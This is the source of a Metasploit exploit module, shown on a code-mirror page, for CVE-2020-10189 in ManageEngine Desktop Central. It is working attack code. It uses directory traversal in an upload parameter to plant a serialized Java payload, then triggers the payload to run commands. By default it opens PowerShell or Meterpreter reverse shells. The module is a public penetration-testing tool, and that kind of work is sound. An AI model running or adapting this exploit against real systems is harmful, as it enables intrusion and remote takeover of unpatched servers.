Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/http/desktopcentral_deserialization.rb
31956 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
8
Rank = GreatRanking
9
10
prepend Msf::Exploit::Remote::AutoCheck
11
include Msf::Exploit::Remote::HttpClient
12
include Msf::Exploit::CmdStager
13
include Msf::Exploit::FileDropper
14
include Msf::Exploit::JavaDeserialization
15
16
def initialize(info = {})
17
super(
18
update_info(
19
info,
20
'Name' => 'ManageEngine Desktop Central Java Deserialization',
21
'Description' => %q{
22
This module exploits a Java deserialization vulnerability in the
23
getChartImage() method from the FileStorage class within ManageEngine
24
Desktop Central versions < 10.0.474. Tested against 10.0.465 x64.
25
26
Quoting the vendor's advisory on fixed versions:
27
28
"The short-term fix for the arbitrary file upload vulnerability was
29
released in build 10.0.474 on January 20, 2020. In continuation of
30
that, the complete fix for the remote code execution vulnerability is
31
now available in build 10.0.479."
32
},
33
'Author' => [
34
'mr_me', # Discovery and exploit
35
'wvu' # Module
36
],
37
'References' => [
38
['CVE', '2020-10189'],
39
['URL', 'https://srcincite.io/advisories/src-2020-0011/'],
40
['URL', 'https://srcincite.io/pocs/src-2020-0011.py.txt'],
41
['URL', 'https://twitter.com/steventseeley/status/1235635108498948096'],
42
['URL', 'https://www.manageengine.com/products/desktop-central/remote-code-execution-vulnerability.html']
43
],
44
'DisclosureDate' => '2020-03-05', # 0day release
45
'License' => MSF_LICENSE,
46
'Platform' => 'win',
47
'Privileged' => true,
48
'Targets' => [
49
[
50
'Windows Command',
51
{
52
'Arch' => ARCH_CMD,
53
'Type' => :win_cmd,
54
'DefaultOptions' => {
55
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
56
}
57
}
58
],
59
[
60
'Windows Dropper',
61
{
62
'Arch' => [ARCH_X86, ARCH_X64],
63
'Type' => :win_dropper,
64
'CmdStagerFlavor' => :certutil, # This works without issue
65
'DefaultOptions' => {
66
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
67
}
68
}
69
],
70
[
71
'PowerShell Stager',
72
{
73
'Arch' => [ARCH_X86, ARCH_X64],
74
'Type' => :psh_stager,
75
'DefaultOptions' => {
76
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
77
}
78
}
79
]
80
],
81
'DefaultTarget' => 2,
82
'DefaultOptions' => {
83
'SSL' => true,
84
'WfsDelay' => 60 # It can take a little while to trigger
85
},
86
'Notes' => {
87
'Stability' => [SERVICE_RESOURCE_LOSS], # May 404 the upload page?
88
'Reliability' => [FIRST_ATTEMPT_FAIL], # Payload upload may fail
89
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
90
}
91
)
92
)
93
94
register_options([
95
Opt::RPORT(8383),
96
OptString.new('TARGETURI', [true, 'Base path', '/'])
97
])
98
end
99
100
def check
101
res = send_request_cgi(
102
'method' => 'GET',
103
'uri' => normalize_uri(target_uri.path, 'configurations.do')
104
)
105
106
unless res
107
return CheckCode::Unknown('Target did not respond to check.')
108
end
109
110
unless res.code == 200 && res.body.include?('ManageEngine Desktop Central')
111
return CheckCode::Unknown('Target is not running Desktop Central.')
112
end
113
114
build = res.get_html_document.at('//input[@id = "buildNum"]/@value')&.text
115
116
unless build&.match(/\d+/)
117
return CheckCode::Detected(
118
'Target did not respond with Desktop Central build.'
119
)
120
end
121
122
# Desktop Central build 100474 is equivalent to version 10.0.474
123
if build.to_i < 100474
124
return CheckCode::Appears(
125
"Desktop Central #{build} is a vulnerable build."
126
)
127
end
128
129
CheckCode::Safe("Desktop Central #{build} is NOT a vulnerable build.")
130
end
131
132
def exploit
133
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
134
135
case target['Type']
136
when :win_cmd
137
execute_command(payload.encoded)
138
when :win_dropper
139
execute_cmdstager
140
when :psh_stager
141
execute_command(cmd_psh_payload(
142
payload.encoded,
143
payload.arch.first,
144
remove_comspec: true
145
))
146
end
147
end
148
149
def execute_command(cmd, _opts = {})
150
vprint_status("Executing command: #{cmd}")
151
152
# I identified mr_me's binary blob as the CommonsBeanutils1 payload :)
153
java_payload = generate_java_deserialization_for_command(
154
'CommonsBeanutils1',
155
'cmd',
156
cmd
157
)
158
159
# XXX: Patch in expected serialVersionUID
160
java_payload[140, 8] = "\xcf\x8e\x01\x82\xfe\x4e\xf1\x7e"
161
162
# Rock 'n' roll!
163
upload_serialized_payload(java_payload)
164
deserialize_payload
165
end
166
167
def upload_serialized_payload(serialized_payload)
168
print_status('Uploading serialized payload')
169
170
res = send_request_cgi(
171
'method' => 'POST',
172
'uri' => normalize_uri(target_uri.path, '/mdm/client/v1/mdmLogUploader'),
173
'ctype' => 'application/octet-stream',
174
'vars_get' => {
175
# Traversal from C:\Program Files\DesktopCentral_Server\mdm-logs\foo\bar
176
'udid' => '\\..\\..\\..\\webapps\\DesktopCentral\\_chart',
177
'filename' => 'logger.zip'
178
},
179
'data' => serialized_payload
180
)
181
182
unless res && res.code == 200
183
fail_with(Failure::UnexpectedReply, 'Could not upload serialized payload')
184
end
185
186
print_good('Successfully uploaded serialized payload')
187
188
# Shell lands in C:\Program Files\DesktopCentral_Server\bin
189
register_file_for_cleanup('..\\webapps\\DesktopCentral\\_chart\\logger.zip')
190
end
191
192
def deserialize_payload
193
print_status('Deserializing payload')
194
195
res = send_request_cgi(
196
'method' => 'GET',
197
'uri' => normalize_uri(target_uri.path, 'cewolf'),
198
'vars_get' => {
199
'img' => '\\logger.zip'
200
}
201
)
202
203
unless res && res.code == 200
204
fail_with(Failure::UnexpectedReply, 'Could not deserialize payload')
205
end
206
207
print_good('Successfully deserialized payload')
208
end
209
210
end
211
212